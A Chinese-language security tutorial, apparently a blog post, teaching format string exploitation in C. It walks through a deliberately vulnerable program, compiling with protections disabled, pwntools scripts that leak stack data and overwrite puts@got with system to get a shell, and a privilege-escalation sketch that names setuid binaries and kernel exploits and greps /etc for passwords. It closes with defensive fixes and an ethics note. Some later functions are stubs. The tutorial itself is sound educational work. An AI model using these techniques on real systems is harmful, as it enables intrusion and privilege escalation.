格式化字符串漏洞利用:从“诚实过头的打印机“到Root权限

前言:为什么格式化字符串如此危险?

本文章仅提供学习,切勿将其用于不法手段!

想象有一个特别诚实的公告板管理员,你问他什么他都如实回答,甚至允许你直接修改公告板上的内容。格式化字符串漏洞就像是这样——程序过于"诚实",把本应该保密的内存信息都泄露给你,甚至允许你随意修改关键数据。

第一部分:漏洞原理深度解析

1.1 格式化函数的工作原理

在C语言中,printf家族的函数是这样工作的:

printf("我的名字是%s,年龄是%d岁", name, age);

正常使用时,格式化字符串(第一个参数)是程序员写的,后续参数是用户数据。但如果有漏洞代码:

printf(user_input);  // 危险!用户控制了格式化字符串

这时候,用户就可以输入%s %x %p这样的特殊指令,让printf函数"吐露"内存秘密。

1.2 栈内存的"坦白机制"

当printf执行时,它会根据格式化字符串中的指令,从栈上按顺序取参数:

栈结构:
[格式化字符串地址]
[参数1地址]      ← printf期望找到第一个参数的地方
[参数2地址]
[返回地址]
...

但如果调用是printf(user_input),没有额外参数:
[user_input字符串地址]
[栈上的其他数据]    ← printf会把这些当成参数!
[更多栈数据]

这就是信息泄漏的根本原因——printf把栈上的随机数据当成了参数来解释!

1.3 %n的致命威力

%n是一个特殊的格式化指令,它不输出内容,而是写入已经输出的字符数到对应参数指向的地址:

int count;
printf("hello%n", &count);  // count的值变为5

如果我们可以控制这个参数,就能实现任意地址写入​!

第二部分:实战漏洞利用

2.1 环境准备

先创建一个有漏洞的程序:

// fmt_vuln.c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[100];
    printf("请输入你的名字: ");
    fgets(buffer, sizeof(buffer), stdin);
    
    // 漏洞就在这里!
    printf(buffer);  // 用户控制格式化字符串
}

int main() {
    vulnerable_function();
    return 0;
}

编译并关闭保护:

gcc -o fmt_vuln -fno-stack-protector -z execstack fmt_vuln.c

2.2 信息收集阶段

#!/usr/bin/env python3
from pwn import *

# 启动程序
p = process('./fmt_vuln')

# 探测栈数据
def probe_stack():
    # 发送多个%p来泄漏栈内容
    payload = b'%p.' * 20
    p.sendline(payload)
    response = p.recvline()
    
    # 解析泄漏的地址
    leaks = response.decode().strip().split('.')
    for i, leak in enumerate(leaks):
        if leak.startswith('0x'):
            print(f"栈位置 {i}: {leak}")
    
    return leaks

leaked_addresses = probe_stack()

2.3 计算关键偏移

# 找到我们的输入在栈上的位置
def find_input_offset():
    # 发送包含特殊标记的输入
    marker = b'ABCDEFGH'
    payload = marker + b'%p%p%p%p%p%p%p'
    p.sendline(payload)
    response = p.recvline()
    
    # 查找我们的标记出现在哪个%p位置
    if b'ABCDEFGH' in response:
        # 通常会在某个偏移处看到0x4847464544434241(ABCDEFGH的十六进制)
        parts = response.split(b'0x')
        for i, part in enumerate(parts[1:], 1):
            if b'4241' in part:  # 'BA'的十六进制
                print(f"我们的输入在栈上的第 {i} 个参数位置")
                return i
    
    return None

offset = find_input_offset()
print(f"偏移量: {offset}")

2.4 任意内存读取

# 读取任意地址的内存
def read_memory(address):
    # 构造payload:地址 + %s
    payload = p32(address) + f"%{offset}$s".encode()
    p.sendline(payload)
    
    # 解析响应
    response = p.recvline()
    # 第一个4字节是我们的地址,后面是读取的内容
    return response[4:]

# 读取GOT表条目获取libc地址
got_puts = 0x0804a010  # 假设的puts@got地址
puts_content = read_memory(got_puts)
libc_puts = u32(puts_content[:4])
print(f"puts在libc中的地址: 0x{libc_puts:08x}")

2.5 任意内存写入(%n攻击)

# 使用%n写入数据
def write_memory(address, value):
    # 计算需要输出的字符数
    # 我们需要分多次写入(因为一次输出太多字符不现实)
    
    # 先写入低16位
    byte1 = value & 0xFF
    byte2 = (value >> 8) & 0xFF
    
    # 构造payload
    payload = p32(address) + p32(address+1)
    
    # 计算需要输出的字符数
    chars_printed = len(payload)
    needed_chars1 = byte1 - chars_printed
    needed_chars2 = byte2 - byte1  # 需要调整
    
    # 添加格式化字符串
    payload += f"%{needed_chars1}x%{offset}$hhn".encode()
    payload += f"%{needed_chars2}x%{offset+1}$hhn".encode()
    
    p.sendline(payload)
    p.recvline()  # 接收输出

# 修改GOT表,将puts替换为system
libc_base = libc_puts - 0x5f140  # 假设的puts偏移
system_addr = libc_base + 0x3a940  # 假设的system偏移

write_memory(got_puts, system_addr)
print("成功将puts替换为system!")

2.6 获取Shell

# 现在调用puts实际上会调用system
# 我们只需要传递"/bin/sh"作为参数
p.sendline(b"/bin/sh")
p.interactive()  # 享受你的shell!

第三部分:现实世界的挑战与绕过

3.1 应对现代防护措施

实际环境中,你会遇到更多挑战:

def bypass_modern_protections():
    # 1. 绕过ASLR:需要先泄漏地址
    # 2. 绕过RELRO:可能需要修改其他可写区域
    # 3. 绕过栈保护:格式化字符串通常不影响栈canary
    
    # 使用部分覆盖等技术
    if is_aslr_enabled():
        # 先泄漏libc地址
        libc_leak = leak_libc_address()
        # 计算实际地址
        system_addr = calculate_system_address(libc_leak)
        
        # 可能需要多次尝试或更精确的偏移计算

3.2 高级利用技巧

# 更精确的地址计算
def precise_address_calculation():
    # 泄漏多个地址以提高准确性
    leaks = []
    for i in range(10):
        leak = leak_stack_address(i)
        leaks.append(leak)
    
    # 通过特征模式识别特定地址
    for addr in leaks:
        if (addr & 0xFFF) == 0x350:  # 假设的特征值
            libc_base = addr - 0x123350
            return libc_base
    
    return None

# 使用更复杂的写入策略
def advanced_write_technique():
    # 分层写入:先写重要函数,再写辅助函数
    # 或者使用ROP链与格式化字符串结合
    pass

第四部分:从Shell到Root权限

4.1 权限提升策略

拿到shell后,还需要提升到root权限:

def privilege_escalation():
    # 检查当前权限
    p.sendline(b"id")
    response = p.recvline()
    print(f"当前用户: {response}")
    
    # 方法1:利用setuid程序
    setuid_programs = [
        "/bin/ping", "/bin/mount", "/usr/bin/passwd",
        "/usr/bin/sudo", "/usr/bin/chsh"
    ]
    
    for program in setuid_programs:
        if check_program_vulnerable(program):
            return exploit_setuid(program)
    
    # 方法2:内核漏洞
    kernel_exploits = [
        "dirtycow", "sudo Baron Samedit", "其他CVE"
    ]
    
    for exploit in kernel_exploits:
        if try_kernel_exploit(exploit):
            return True
    
    # 方法3:密码和配置文件查找
    p.sendline(b"grep -r 'password' /etc/ 2>/dev/null | head -5")
    passwords = p.recvlines(5)
    print(f"发现的密码信息: {passwords}")
    
    return False

4.2 现实中的复杂情况

def real_world_challenges():
    # 1. 输入长度限制
    # 2. 特殊字符过滤
    # 3. 输出被截断
    # 4. 多阶段利用需求
    
    # 应对策略:使用短payload、编码、分阶段攻击
    if has_input_length_limit():
        use_short_payload_strategy()
    
    if has_character_filter():
        use_encoding_or_alternative_methods()

第五部分:防御视角与深度思考

5.1 为什么这种漏洞存在?

  1. 历史原因​:早期C语言设计时安全性不是首要考虑
  2. 便利性陷阱​:快速开发时容易忽略安全细节
  3. 教育缺失​:很多程序员不了解格式化字符串的危险性

5.2 如何防御?

// 错误的做法
printf(user_input);  // 绝对禁止!

// 正确的做法
printf("%s", user_input);  // 安全版本

// 或者更好的选择
fputs(user_input, stdout);  // 完全避免格式化

// 现代编译器的保护
#if defined(__GNUC__)
# pragma GCC warning "注意格式化字符串安全!"
#endif

5.3 伦理思考与技术责任

  • 授权测试​:只在获得明确授权的系统上进行
  • 负披露​:给厂商合理时间修复后再公开
  • 教育目的​:技术知识应该用于建设更安全的世界

结语:格式化字符串的艺术

格式化字符串漏洞利用就像是一场精妙的对话艺术:你通过精心构造的"问题"(格式化字符串),让程序"回答"出它本不应该透露的秘密,甚至"说服"它按照你的意愿行动。

但真正的技术大师不是那些能够攻破系统的人,而是那些能够设计出不会被攻破的系统的人。

深度思考​:在Web开发中,SQL注入和格式化字符串漏洞有什么相似之处?为什么这两种漏洞都源于"过度信任用户输入"的设计哲学?

记住:能力越大,责任越大。用你的技术让数字世界变得更安全,而不是更脆弱。


免责声明:本文所有技术内容仅用于教育目的和安全研究。未经授权的系统访问是违法行为。请始终在合法授权范围内进行安全测试。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值